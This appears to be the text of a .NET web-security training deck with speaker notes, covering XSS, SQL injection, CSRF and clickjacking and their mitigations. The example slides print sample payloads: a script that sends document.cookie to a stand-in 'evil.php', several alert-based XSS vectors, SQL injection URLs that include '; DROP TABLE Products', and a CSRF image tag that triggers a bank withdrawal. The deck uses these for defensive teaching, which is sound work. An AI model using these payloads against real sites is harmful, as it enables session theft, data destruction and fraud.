.NET Security Topics
- 3. Definitions
Cross-site Scripting (XSS)
Occurs when a web application gathers malicious data from a user
(untrusted source).The data is usually gathered in the form of a
hyperlink or form submission, database, or cookie which contains
malicious content within it.
Malicious data is generally in the form of Javascript or HTML
Types are DOM-based, “stored” (persistent) and “reflected” (non-
persistent)
- 4. Examples
Cross-site Scripting (XSS)
http://en.wikipedia.org/wiki/Cross_site_scripting#Exploit_scenarios
<SCRIPT type="text/javascript"> var adr =
'../evil.php?cakemonster=' +
escape(document.cookie); </SCRIPT>
<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>click me!</b>
<img src="http://url.to.file.which/not.exist"
onerror=alert(document.cookie);>
<IMG SRC=jAvascript:alert('test2')>
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcml
wdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
- 5. Mitigations
Cross-site Scripting (XSS)
Explicitly set character set encoding (meta charset)
Identify special characters
Encode all dynamic output (htmleditformat)
Filter special characters in dynamic elements (blacklist –
not preferable)
Stronger data validation (whitelist/positive – preferable)
Never count on client side validation (it can be turned
off)
Use HttpOnly cookies
Use secure cookies whenever possible
No one thing will mitigate all threats, it will require use
of multiple techniques
- 7. SQL Injection
Definitions
Examples
Mitigation strategies
Mitigation examples
- 8. Definitions
SQL Injection (fromWikipedia)
Technique often used to attack data driven applications by including
portions of SQL statements in an entry field in an attempt to get the
website to pass a newly formed rogue SQL command to the
database (e.g., dump the database contents to the attacker).
The vulnerability happens when user input is either incorrectly
filtered for string literal escape characters embedded in SQL
statements or user input is not strongly typed and unexpectedly
executed.
SQL injection is mostly known as an attack vector for websites but
can be used to attack any type of SQL database.
In operational environments, it has been noted that applications
experience an average of 71 attempts an hour
- 9. Examples
SQL Injection
http://en.wikipedia.org/wiki/SQL_injection#Examples
http://www.mydomain.com/products/products.asp?productid=123
or 1=1
http://www.mydomain.com/products/products.asp?productid=123;
DROP
TABLE Products
- 10. Mitigations
SQL Injection
Never trust input data.Validate everything
Avoid dynamic SQL built with string concatenation
Prefer stored procedures 0r ORM
If dynamic SQL, used parameterized commands
Sensitive/confidential data should be encrypted
Limit connection privilege (no DBO or SA)
- 13. Definition
Cross-site Request Forgery (CSRF)
Attack which forces an end user to execute unwanted actions on a
web application in which he/she is currently authenticated.
Embed HTML in malicious site that preys on users authenticated on
other sites.
Submitting unauthorized data to your application from other servers
(untrusted)
Not easy to make a successful attack, but that doesn’t mean we
shouldn’t protect ourselves
- 14. Examples
Cross-site Request Forgery (CSRF)
<img
src="http://bank.example/withdraw?account=bob&amount=1000000&for=ma
llory">
Million-dollar dream home example
- 18. ClickJacking
OWASP Definition:
Clickjacking, also known as a "UI redress attack", is when an attacker
uses multiple transparent or opaque layers to trick a user into
clicking on a button or link on another page when they were
intending to click on the the top level page.Thus, the attacker is
"hijacking" clicks meant for their page and routing them to other
another page, most likely owned by another application, domain, or
both.
Using a similar technique, keystrokes can also be hijacked.With a
carefully crafted combination of stylesheets, iframes, and text
boxes, a user can be led to believe they are typing in the password
to their email or bank account, but are instead typing into an
invisible frame controlled by the attacker.
- 19. Examples
For example, imagine an attacker who builds a web site that has a button on it
that says "click here for a free iPod". However, on top of that web page, the
attacker has loaded an iframe with your mail account, and lined up exactly the
"delete all messages" button directly on top of the "free iPod" button.The
victim tries to click on the "free iPod" button but instead actually clicked on
the invisible "delete all messages" button. In essence, the attacker has
"hijacked" the user's click, hence the name "Clickjacking".
One of the most notorious examples of Clickjacking was an attack against the
Adobe Flash plugin settings page. By loading this page into an invisible
iframe, an attacker could trick a user into altering the security settings of
Flash, giving permission for any Flash animation to utilize the computer's
microphone and camera.
Clickjacking also made the news in the form of aTwitter worm.This
clickjacking attack convinced users to click on a button which caused them to
re-tweet the location of the malicious page, and propagated massively.
Recently, clickjacking attacks abusing Facebook's "Like" functionality has
grown significantly. Attackers can trick logged-in Facebook users to arbitrarily
like fan pages, links, groups, etc
- 21. Defenses –
Coding against
Javascript code to make sure current frame is the top level window
(Ok, but not great, not going to show it)
Browser response headers (Good, and will get better)
- 22. Response
Headers
X-FRAME-OPTIONS
Response header that newer browsers recognize, which controls
framing behavior
https://www.owasp.org/index.php/Clickjacking#Defending_with_
response_headers
Be sure to read the limitations, specifically the stuff about proxies,
and know that not all options are currently supported (ALLOW-
FROM only IE8+).
Code example (ASP.NET).
- 27. Odds & Ends -
Tips
Be careful in what you include in error messages that get thrown
to a browser
Sanitize log input (don’t XSS your log database)
Cigital SecureAssist plugin forVS.
Visual Studio Code Analysis (general code quality issues)
- 28. Resources
OWASP
http://www.owasp.org/index.php/Cross-site_scripting
http://www.owasp.org/index.php/Top_10_2007-A1
http://www.owasp.org/index.php/SQL_Injection
http://www.owasp.org/index.php/CSRF
CERT
http://www.cert.org/tech_tips/malicious_code_mitigation.html
Wikipedia
http://en.wikipedia.org/wiki/Cross_site_scripting
http://en.wikipedia.org/wiki/SQL_injection
http://en.wikipedia.org/wiki/Cross-site_request_forgery
XSS Cheat Sheet
http://ha.ckers.org/xss.html
http://blog.stevensanderson.com/2008/09/01/prevent-cross-site-
request-forgery-csrf-using-aspnet-mvcs-antiforgerytoken-
helper/
http://msdn.microsoft.com/en-us/magazine/hh708755.aspx
http://weblogs.asp.net/scottgu/archive/2010/04/06/new-lt-gt-
syntax-for-html-encoding-output-in-asp-net-4-and-asp-net-
mvc-2.aspx
Editor's Notes
- I group these two topics because most of the mitigation actions are the same, though the threat itself is different.
- DOM-based rely on locally stored web pages.
Stored attacks are stored in the database and retrieved in output to users.
Reflected attacks are where the injected code is reflected off of the webserver, and usually delivered in an email (Phishing) or off of another server.
- Talk about the cheat sheet.
Talk about the one from the PEN test.
Examples may seem silly, but if you can popup an alert it can be a very deep rabbit hole
- <META http-equiv="Content-Type" content="text/html; charset=IS
O-8859-1">
<META http-equiv="Content-Type" content="text/html; UTF-8">
- I group these two topics because most of the mitigation actions are the same, though the threat itself is different.
- DOM-based rely on locally stored web pages.
Stored attacks are stored in the database and retrieved in output to users.
Reflected attacks are where the injected code is reflected off of the webserver, and usually delivered in an email (Phishing) or off of another server.
- Talk about the cheat sheet.
Talk about the one from the PEN test.
Examples may seem silly, but if you can popup an alert it can be a very deep rabbit hole
- <META http-equiv="Content-Type" content="text/html; charset=IS
O-8859-1">
<META http-equiv="Content-Type" content="text/html; UTF-8">
- XSS Cheat Sheet has tons of sample exploit code to test mitigations against.